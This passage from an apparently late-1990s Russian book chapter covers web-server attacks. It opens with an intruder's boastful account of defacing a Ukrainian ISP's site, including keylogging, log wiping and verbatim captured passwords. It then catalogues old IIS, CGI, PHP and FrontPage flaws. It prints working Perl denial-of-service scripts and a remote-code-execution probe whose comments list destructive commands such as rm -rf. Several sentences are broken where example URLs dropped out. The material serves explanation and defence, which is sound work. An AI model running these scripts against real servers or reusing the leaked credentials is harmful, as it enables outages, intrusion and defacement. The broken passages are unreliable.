Шрифт:
Рис. 10.4. Подмененная страница Relcom-Ukraine
«Я посоветовался со своим «коллегой», и мы решили пока просто понаблюдать за тем, как работает первый украинский провайдер, чужой опыт всегда полезен…
Кейлоги (от англ. «key log» – программа, записывающая все нажатия на клавиатуре. – Примеч. авторов) велись круглосуточно практически на всех машинах, а потом мы выкачивали их, пользуясь двумя редиректами (от англ. «redirect» – промежуточный хост, используемый для сокрытия истинного адреса взломщика. – Примеч. авторов). Кстати, устанавливать редиректы мне просто нравится, и, как показывает практика, в том режиме, в котором мы работаем, найти нас невозможно. Много раз наши кейлоги регистрировали смену паролей. Самый простой пароль имел 5 символов (User: alesha, passw: mzo.5), а стандартные включали по 8–9 символов (Se05WebMr, NiaTwThly, EpK0Qw33). Немного посовещавшись, мы приняли решение всего лишь поменять WWW – хоть моральное удовлетворение получить. Здесь нас поджидали некоторые трудности. Во-первых, машина ultra.ts.kiev.ua (на ней хранится WWW) оказалась уж очень хорошо защищена. Нам пришлось установить редирект на офисной машине с романтичным названием Olways для входа на нее телнетом.
Но выход мы нашли. В субботу утром мы, пользуясь редиректами, закачали в один сильно захламленный инкаминг (от англ. «incoming» – каталог для записи на ftp. – Примеч. авторов) забытой богом ФТП файлы с нашей страничкой. Затем, используя двойной редирект, зашли сначала телнетом на машину uacom.ts.kiev.ua (дозвоночный сервер), проверили пароли к главному серверу.
Когда мы зашли на ultra.ts.kiev.ua, то, запустив ftp-клиент, повытягивали наши заготовки пока что в каталог zz. Ну а затем уже одному не составляло труда менять WWW, пока другой чистил логи (от англ. «log» – файлы регистрации. – Примеч. авторов) под другим паролем (кстати, root там висит как пользователь постоянно).
Вот и все».
Не стояли на месте и авторы вирусов, чья деятельность на некоторое время ушла в тень гривастых собратьев. Последние достижения – вирус, заражающий html-файлы (реализованный на VBScript и использующий ActiveX-объекты), и почтовый червь, размножающийся путем присоединения своего исполняемого модуля ко всем почтовым отправлениям.
Опасность заражения вирусами и «троянцами» вполне реальна, и с этой угрозой приходится иметь дело всем пользователям Сети. Лучший способ борьбы с вирусами – не допустить их попадания в вашу систему, и хотя авторы не верят, что можно заставить всех пользователей отказаться от загрузки файлов с неизвестных сайтов и от неизвестных людей или хотя бы проверять их антивирусами, хочется надеяться на победу просвещения. Будьте бдительны!
Атака на Web-сервер
Собственно Web-сервер – это программное обеспечение, осуществляющее взаимодействие по HTTP-протоколу с браузерами: прием запросов, поиск указанных файлов и передача их содержимого, запуск CGI-приложений и передача клиенту результатов их выполнения.
Безопасность Web-сервера представляет собой лишь небольшой компонент общей системы безопасности хоста Internet. Под словами «взлом сервера» чаще всего подразумевается замена или модификация страниц Web-сервера – самое зрелищное проявление атаки на сервер, хотя на самом деле может оказаться лишь побочным продуктом захвата управления всем хостом.
В то же время существуют проблемы безопасности, характерные именно для Web-серверов. Воспользовавшись ими, взломщик может получить стартовую площадку для дальнейшего проникновения в систему (поэтому по-прежнему остается в силе рекомендация вынести Web-сервер, как и все другие службы, требующие внешнего доступа, на отдельную машину, по возможности изолированную от внутренней сети). Именно проблемам безопасности, возникающим в системе после установки Web-сервера, и посвящен данный раздел.
Безопасность стандартного серверного ПО
Ошибки в серверахСитуация с серверами примерно такая же, как и с браузерами: установив последнюю версию плюс все вышедшие обновления/исправления, можно быть более-менее уверенным в отсутствии явных ошибок. Однако расслабляться не нужно – сообщения об обнаруживаемых новых ошибках продолжают поступать с удручающей периодичностью. Кроме того, если пользователь клиентского ПО еще может утешать себя мыслью, что на него просто не обратят внимания (шанс целенаправленной атаки против клиента действительно невелик), то создателю Web-ресурса рассчитывать на снисходительность взломщиков не приходится.
Выделим основные классы ошибок в собственно серверах:
1. Ошибки, приводящие к утрате конфиденциальности. Наиболее распространены в последнее время, дают возможность получить неавторизованный доступ к информации: обойти систему аутентификации, просмотреть исходный код критичных приложений и т. д.
2. Ошибки, приводящие к атакам типа «отказ в обслуживании» (DoS). Носят исключительно деструктивный характер, приводят сервер в состояние, когда он неспособен выполнять свои штатные функции, будучи занят обработкой ложных запросов.
3. Ошибки, приводящие к выполнению на сервере неавторизованного кода. Позволяют запускать на выполнение программы, уже существующие на сервере, но не предназначенные для общего доступа, а также передавать на сервер свой исполняемый код. Последнее характерно для ошибок, связанных с переполнением буфера.
Перечисленные ниже ошибки, как правило, уже давно исправлены и широко известны, но кто знает – вдруг именно вам не повезет (или повезет).
Старая ошибка в Microsoft Internet Information Server (IIS) и ASP – при добавлении точки к адресу некоего asp-файла мы вместо результата его работы получаем его исходный текст. Ошибка устранялась правильным администрированием – отключением права на чтение в каталоге, где размещены скрипты. Вышедшее исправление этой ошибки привело к появлению новой – использование в имени скрипта вместо символа «.» его шестнадцатеричного представления (%2e) давало такой же результат .
Аналогичная ошибка существует в MS Personal Web Server, а летом 98-го года были обнаружены сходные ошибки в серверах Netscape Enterprise и O\'Reilly&Associates\' WebSite Professional – просмотреть содержимое скриптов можно было, добавив к URL %20 (шестнадцатеричное представление пробела). Синхронно обнаружены «дырки» в IIS всех версий, приводящие к тому же результату при добавлении к URL конструкции «::$DATA» и использующие возможность альтернативного обращения к содержимому файла для файловой системы NTFS через так называемые потоки данных (data streams).
При установке IIS на контроллер домена пользователь IUSR_hostname, находящийся обычно в группе Guests, мог попасть в группу Domain Users. Таким образом, пользователь Anonymous (посетитель Web– или ftp-сервера) получал права пользователей домена со всеми вытекающими последствиями.
CERN httpd-сервер – использование дополнительных «/» позволяло обходить ограничения доступа к каталогу . В предыдущей главе уже упоминалась ошибка, с помощью которой злоумышленник мог выйти за пределы пространства, отведенного под WWW, указав URL видаЭто наблюдалось под Personal Web Server.
Любопытная ошибка, связанная с длинными именами файлов. Файл, имя которого не укладывается в рамки 8 + 3, в Windows NT/95 может быть доступен как по длинному, так и по короткому имени: к verylongname.html можно обратиться и как к verylo~1.htm. Многие Web-серверы позволяли получить доступ через короткое имя к файлу с длинным именем, доступ к которому был закрыт.
Старые версии Apache включали не слишком эффективный код (порядка n 2), удаляющий дублирующие символы «/», что делало возможным атаковать сервер множественными запросами с большим количеством этих символов.
Поскольку многие серверы не устанавливают ограничение на количество передаваемых в заголовке клиентского запроса полей, существует возможность атаковать сервер такими запросами, что во многих случаях приводит если не к зависанию, то к сильному замедлению работы сервера. Атаки этого вида получили название Sioux Attack (первая программа, демонстрирующая эту атаку, посылала 10 000 заголовков «User-Agent: sioux\r\n»). Вот пример скрипта на perl, реализующего атаку путем формирования потока фиктивных заголовков размером 8 Кб каждый:#!/usr/bin/perl -w
use Socket;
# Usage : $0 host [port [max] ]
$max= 0;
if ($ARGV[2])
{
$max= $ARGV[2];
}
$proto = getprotobyname(’tcp’);
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
$port = 80;
if ($ARGV[1])
{
$port= $ARGV[1];
}
$host = $ARGV[0];
$sin = sockaddr_in($port,inet_aton($host));
connect(Socket_Handle,$sin);
send Socket_Handle,"GET / HTTP/1.0\n",0;
$val= (’z’x8192)."\n";
$n= 1;
$|= 1;
while (Socket_Handle)
{
send Socket_Handle,"Stupidheader$n: ",0;
send Socket_Handle,$val,0;
$n++;
if (!($n % 100))
{
print "$n\n";
}
if ($max && ($n > $max))
{
last;
}
}
print "Done: $n\n";
send Socket_Handle,"\n",0;
while (<Socket_Handle>)
{
print $_;
}В последних версиях Apache для борьбы с подобными атаками появилась директива LimitRequestFields, позволяющая ограничить количество заголовков в обрабатываемом http-запросе.
IIS 3.0 был подвержен другой DoS-атаке, связанной с получением запроса вида http://www.victim.com/path?name=XXXX…
Если пара имя/значение имеет определенную длину (свою для каждого сервера, однако колеблется около 8 Кб), в процессе inetinfo.exe возникает нарушение доступа, приводящее к прекращению работы сервиса WWW. Причем совершенно необязательно, чтобы на сервере существовал документ или скрипт path – до вызова документа дело просто не доходит. Подбирать нужную длину запроса можно вручную или с помощью, к примеру, такой программы:#!/usr/bin/perl -w
use Socket;
$proto = getprotobyname(’tcp’);
$port = 80;
$host = "www.victim.com";
$sin = sockaddr_in($port,inet_aton($host));
for ($i = 8000; $i<9000; $i++)
{
print "\nTrying $i symbols: \n";
$value = ’z’x$i;
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
if(!connect(Socket_Handle,$sin))
{
$n = $i+4;
print "\n\nLooks like we got it: $n symbols";
exit;
}
send Socket_Handle,"GET /path?name=$value HTTP/1.0\n",0;
send Socket_Handle,"User-Agent: my agent\n",0;
send Socket_Handle,"\n",0;
while (<Socket_Handle>)
{
print $_;
}
}Проверяя эту уязвимость, мы выяснили, что проблема проявилась во время отправки запроса длиной 8 181 байт. При этом Dr. Watson вывел следующее сообщение об ошибке в программе INETINFO.EXE: «Access violation, address 0x77A07614». В результате более подробного рассмотрения дампа ошибки выяснилось, что по этому адресу в программе идет код CMPSB (сравнение строк), использующий ESI и EDI как базовые указатели. Очевидно, они вышли за пределы разрешенной области, что и спровоцировало ошибку. Следовательно, подтверждается вывод: такая уязвимость не приведет к исполнению «троянского» кода (как обычно это бывает при переполнении буфера), а приведет только к остановке сервиса WWW.
При проверке этой уязвимости выяснилось, что наличие CGI-запроса также необязательно. Был подобран запрос вида… длиной 8 206 байт, вызывавший в точности такую же картину. Любопытно, что запросы больше или меньше на 2 байта ни к каким сообщениям INETINFO не приводили.
Очень старая ошибка в MS IIS – зная путь до. cmd– или .bat-файла на сервере, можно добиться выполнения своих команд, передав их следующим образом:
http://www.victim.com/scripts/script.bat?&COMMAND1+?&COMMAND2+?&…+?&COMMANDN.
Все в том же IIS адрес видапозволял просматривать файлы вне корневого каталога Web-сервера, выполнять скрипты и т. д. Правда, это не работало в случае ограничения доступа к этим файлам пользователю IUSR_hostname.
Ошибки во вспомогательных программахВ комплекте с серверами обычно поставляются всевозможные вспомогательные утилиты, примеры CGI-скриптов и т. д. При обновлении серверных программ вполне может возникнуть ситуация, когда вместе с новыми утилитами и примерами продолжают трудиться и старые, со всеми испытанными ошибками.
Классический и, наверное, известный всем, но до сих пор встречающийся образец – скрипт phf. Это вовсе не специально оставленный «черный вход», как можно подумать, глядя на результаты его использования, а всего лишь пример скрипта ведения телефонной книги, распространявшийся со старыми версиями Apache и некоторыми другими серверами. Для желающих проверить на прочность современные серверы – в конфигурационных файлах, приходящих с последними версиями Apache, достаточно раскомментировать четыре строчки, чтобы все попытки обращения к phf перенаправлялись на сервер http:// phf.apache.org/phf_abuse_log.cgi. Впрочем, многие администраторы слишком ленивы, чтобы выполнить это.
Проблема в следующем: встретив в командной строке символ перевода строки (0x0a), он ведет себя иначе: строкаприведет к выполнению на сервере команды cp /etc/passwd ~someuser/passwd, а– к выполнению команды /bin/cat /etc/passwd.
Аналогичная проблема с 0x0a существует у скрипта campus.cgi, распространяемого с NCSA server, а также у некоторых других. Все эти ошибки, связанные с переводом строки, были вызваны тем, что пример кода на C (cgi_src/util.c), распространявшийся долгое время с NCSA httpd в качестве примера, как надо писать безопасные скрипты CGI, не содержал символа перевода строки в списке символов, запрещенных для передачи оболочке операционной системы. В итоге страдали все скрипты, использующие эту библиотеку.
Со скриптами test или test-cgi, включаемыми некоторыми серверами для проверки правильности передачи серверу переменных окружения, связана другая ошибка. Вот примерное содержимое этого скрипта:#!/bin/sh
echo SERVER_SOFTWARE = $SERVER_SOFTWARE
echo SERVER_NAME = $SERVER_NAME
echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE
echo SERVER_PROTOCOL = $SERVER_PROTOCOL
echo SERVER_PORT = $SERVER_PORT
echo REQUEST_METHOD = $REQUEST_METHOD
echo HTTP_ACCEPT = "$HTTP_ACCEPT"
echo PATH_INFO = "$PATH_INFO"
echo PATH_TRANSLATED = "$PATH_TRANSLATED"
echo SCRIPT_NAME = "$SCRIPT_NAME"
echo QUERY_STRING = $QUERY_STRING
echo REMOTE_HOST = $REMOTE_HOST
echo REMOTE_ADDR = $REMOTE_ADDR
echo REMOTE_USER = $REMOTE_USER
echo AUTH_TYPE = $AUTH_TYPE
echo CONTENT_TYPE = $CONTENT_TYPE
echo CONTENT_LENGTH = $CONTENT_LENGTHПередача «*» серверу в качестве QUERY_STRING приводит к выдаче списка содержимого каталога cgi-bin (модификация – передача «/» или любого другого пути). После исправления ошибки (заключающейся в установке кавычек вокруг $QUERY_STRING) настала очередь SERVER_PROTOCOL. В обычной ситуации она принимает значение вида «HTTP/1.0», но, как выяснилось, Apache прекрасно проглатывал любое другое значение, что позволило передавать злосчастную звездочку в этой переменной окружения.
Ошибки в файлах-примерах для PHP (PHP – скриптовый язык, выполняемый на серверной стороне, нечто аналогичное Microsoft ASP): mlog.html и mylog.html включают строчку <?include "$screen">.
Поскольку здесь отсутствует какая бы то ни было фильтрация, никто не мешает передать этому скрипту полный путь до любого файла: http:/ /www.victim.com/logs/mlog.html?screen=/etc/passwd.
Огромное количество ошибок связано с расширениями FrontPage (FPE). FrontPage – это не только WYSIWYG-редактор html-кода, относиться к которому можно по-разному, но и мощное средство администрирования Web-сайта. Чтобы воспользоваться всеми возможностями FrontPage, на сервер должны быть установлены дополнительные средства, так называемые расширения FrontPage, которые разработаны для различных платформ и серверов. Тут-то нас и подстерегают некоторые неожиданности.
Начнем с того, что при установке FrontPage 1.1 пользователь IUSR_hostname получал право доступа Full Control к каталогу _vti_bin и файлу shtml.exe, а взломщик, подобрав пароль этого пользователя, получал доступ к каталогу с исполняемыми файлами.
Чуть позже выяснилось, что пароли для сайта можно спокойно взять из файловhttp://www.victim.com/_vti_pvt/authors.pwd и(по умолчанию доступ к этим файлам открыт для всех желающих).
Дальше – больше. При установке FPE на Apache его настройки корректируются таким образом, что любой файл, размещенный в подкаталогах с именем _vti_bin, может быть выполненным. Очень удобно для запуска cgi-скриптов на серверах, не дающих такой возможности.
Вообще, стандартные имена конфигурационных файлов предоставляют широкие возможности по поиску серверов с установленными FPE – достаточно послать запрос на поиск, к примеру, _vti_inf.html.
Ошибки администрированияЛюбая система может оказаться совершенно незащищенной из-за незначительной на первый взгляд ошибки в администрировании.
Так, Apache включает директиву UserDir, определяющую подкаталог в пользовательском каталоге, из которого берутся html-файлы при обращении вида /~user. Установив директиву в /usr/*/public_html, мы получим трансляцию адреса видав путь /usr/user/public_html/dir/file.html. По умолчанию этой директиве присвоено значение public_html. Некоторые серверы, не найдя соответствующий каталог, переадресуют нас в домашний каталог пользователя user. Далее мы можем пробовать обращения типаhttp://www.victim.com/~uucp/etc/passwd и т. д. Аналогичный эффект получится, если установить UserDir в «./». Поэтому в версиях Apache 1.3 и выше рекомендуется использовать директиву UserDir disabled root.
К ошибкам конфигурирования относятся и упомянутые в предыдущем разделе ошибки FrontPage, в то же время правильное администрирование может минимизировать вред от многочисленных ошибок IIS.
Совершенно изумительных результатов можно добиться, поместив perl.exe в каталог cgi-bin любого сервера на PC-платформе (или любой другой каталог, из которого разрешен запуск CGI-скриптов). Определить такой сервер можно по использованию на нем адресов видаОдно время такая практика была очень распространена (это рекомендовалось компанией Netscape для выполнения perl-скриптов на ее сервере, не поддерживающем механизма ассоциации файловых расширений с исполняемыми приложениями), но понемногу сошла на нет, что было связано с распространением скриптов (подобных приведенному ниже), позволяющих выполнить на удаленной машине любой perl-код.#!/usr/bin/perl -w
#
#####################################################################
# latrodectus cyberneticus – probe web for insecure perl installations
# tchrist@perl.com
# version 1.0, Thu Mar 28 17:53:42 MST 1996
#
# requires the LWP library, fetchable from the CPAN multiplexor at
# http://www.perl.com/cgi-bin/cpan_mod?module=LWP
#####################################################################
#AUTHOR: Tom Christiansen <tchrist@perl.com>
#Last update: Thu Mar 28 17:53:42 MST 1996
require 5.002;
use strict;
use LWP::UserAgent;
my $PROGNAME = "latrodectus cyberneticus";
my $VERSION = "1.0";
my $DEF_CGI_BIN = "/cgi-bin";
# Имя интерпретатора perl на удаленной машине,
# стоит попробовать и perl.exe, и perl.com
my $DEF_PERL_PATH = "/perl.exe";
# Заносим в переменную $PROGRAM текст, начинающийся
# после слов __END__, – нашу программу, которая будет
# выполняться на удаленном сервере
my $PROGRAM = join qq===><DATA>;
$| = 1;
if (@ARGV) {
for (@ARGV) { probe($_) }
} elsif (!-t STDIN) {
while (<STDIN>) {
chomp;
probe($_);
}
} else {
die "usage: $0 [site ...]\n";
}
sub probe {
my $site = shift;
my $cgi_bin = ’’;
my $perl_path = ’’;
my $pre_site = ’’;
if ($site !~ m#/#) {
$cgi_bin = $DEF_CGI_BIN;
}
if ($site !~ /perl/) {
$perl_path = $DEF_PERL_PATH;
}
if ($site !~ m#^//#) {
$pre_site = ’//’;
}
my $ua = LWP::UserAgent->new;
$ua->agent("$PROGNAME, v$VERSION");
#Формируем полный url интерпретатора
my $full_targ = ’http:’ . $pre_site . $site . $cgi_bin . $perl_path;
printf "%-35s ", $site;
# Открываем соединение
my $req = HTTP::Request->new( POST => $full_targ );
# Посылаем нашу программу
$req->content_type(’application/x-www-form-urlencoded’);
$req->content($PROGRAM);
#Получаем ответ
my $res = $ua->request($req);
# Проверяем, выполнилась ли наша программа
if ($res->is_success) {
if ($res->content =~ /WWW Black Widow/) {
print "<<<< COMPROMISED >>>\n";
} else {
my $oops = $res->content;
$oops =~ s/\n/ /g;
print "APPREHENDED: $oops\n";
}
} else {
my $oops = $res->code . " " . $res->message;
if ($res->code == 404) {
print "SAFE: $oops";
} else {
print "ERROR: $oops";
}
print "\n" unless $oops =~ /\n$/;
}
}
__END__
# Здесь начинается код, который будет выполнен на удаленной
# машине. Сначала выводится некий текст для проверки
# работы скрипта
print <<EOF;
Content-Type: text/plain
The WWW Black Widow was here.
EOF
# Ну а здесь уже можно написать что угодно – от простого
# сообщения администратору о найденной дырке, до чего-нибудь
# типа
# system("rm -rf * /*");
# system("format a:");
# system("ls -lR");
# system("dir");
# unlink <* *.* /*>;
print "If I were nasty, you’d be spiderfood by now.\n";
print "\n\n\t–the black widow\n";
__END__